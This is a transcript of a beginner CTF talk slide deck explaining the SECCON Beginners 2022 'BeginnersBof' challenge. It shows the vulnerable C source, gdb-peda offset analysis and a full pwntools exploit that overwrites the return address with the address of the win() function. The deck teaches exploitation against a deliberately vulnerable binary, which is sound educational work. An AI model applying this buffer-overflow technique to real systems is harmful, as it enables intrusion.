Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0
September 11, 2022

Beginners Beginners Bof / SECCON Beginners Live 2022

n01e0

September 11, 2022
Tweet

Other Decks in Technology

Transcript

  1. 自己紹介 • 紫関 麗王(Shiseki Reo) • ID: n01e0 • 情報科学専門学校

    4年 IPFactory • ctf4b 2022での作問 ◦ BeginnersBof 155 Solves ◦ raindrop 53 Solves ◦ snowdrop 44 Solves ◦ simplelist 32 Solves ◦ please_not_debug_me 48 Solves ◦ ultra_super_miracle_validator 40 Solves
  2. ソースコード(抜粋&コメント追加) #define BUFSIZE 0x10 void win() { // この関数を呼び出せばFlagが取得できる char

    buf[0x100]; int fd = open("flag.txt", O_RDONLY); if (fd == -1) err(1, "Flag file not found...\n"); write(1, buf, read(fd, buf, sizeof(buf))); close(fd); } int main() { int len = 0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // バッファに読み込むデータの長さを入力 char c = getc(stdin); // 入力末尾の改行 if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 指定された長さ分バッファに読み込む printf("Hello %s", buf); }
  3. ソースコード(重要な部分だけ抜粋) #define BUFSIZE 0x10 int main() { int len =

    0; char buf[BUFSIZE] = {0}; // BUFSIZEは0x10 puts("How long is your name?"); scanf("%d", &len); // 0x10より大きなサイズを入力 char c = getc(stdin); if (c != '\n') ungetc(c, stdin); puts("What's your name?"); fgets(buf, len, stdin); // 確保されたサイズより大きなデータを読み込む🔥 printf("Hello %s", buf); }
  4. checksecによるセキュリティ機構の確認 $ checksec –file=chall –output=json | jq { "file": {

    "relro": "no", "canary": "no", "nx": "yes", "pie": "no", "rpath": "no", "runpath": "no", "symbols": "yes", "fortify_source": "no", "fortified": "0", "fortify-able": "3" } }
  5. pedaによる解析(BOFの確認) 1. sizeは適当に51で指定 2. ‘a’を50個+改行 入力した結果 gdb-peda$ c Continuing. How

    long is your name? 51 What's your name? aaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa
  6. pedaによる解析(オフセットの特定) pattoコマンドで オフセットを確認できる RSPの”AA0AAFAAbA” へのオフセットは40bytes gdb-peda$ r gdb-peda$ c Continuing.

    How long is your name? 51 What's your name? AAA%AAsAABAA$AAnAACAA-AA(A ADAA;AA)AAEAAaAA0AAFAAbA gdb-peda$ patto AA0AAFAAbA AA0AAFAAbA found at offset: 40
  7. データの入出力 sendlineafterは 第1引数に指定したバイト列を受け取った後 第2引数のバイト列を改行と共に 送信するメソッド 今回はpayloadの長さを文字列にした後, バイト列に変換して送信する from pwn import

    * e = ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter( b"How long is your name?", str(len(payload)).encode() )
  8. flagの取得 改行はいらないのでsendafterで 送信後はflagが出力されるはずなので いい感じに受け取ってprintする from pwn import * e =

    ELF("./chall") context.binary = "./chall" payload = b'a' * 40 payload += pack(e.sym["win"]) io = remote("localhost", 9000) io.sendlineafter(b"How long is your name?", str(len(payload)).encode()) io.sendafter( b"What's your name?", payload ) io.recvuntil(b"ctf4b{") print( "ctf4b{" + io.readline().decode(), end='' )
  9. Exploit! $ ls chall exploit.py $ python3 ./exploit.py [*] '/home/lilium/src/github.com/SECCON/Beginners_CTF_2022/pwnable/BeginnersBof/exploit/chall'

    Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to localhost on port 9000: Done ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!} [*] Closed connection to localhost port 9000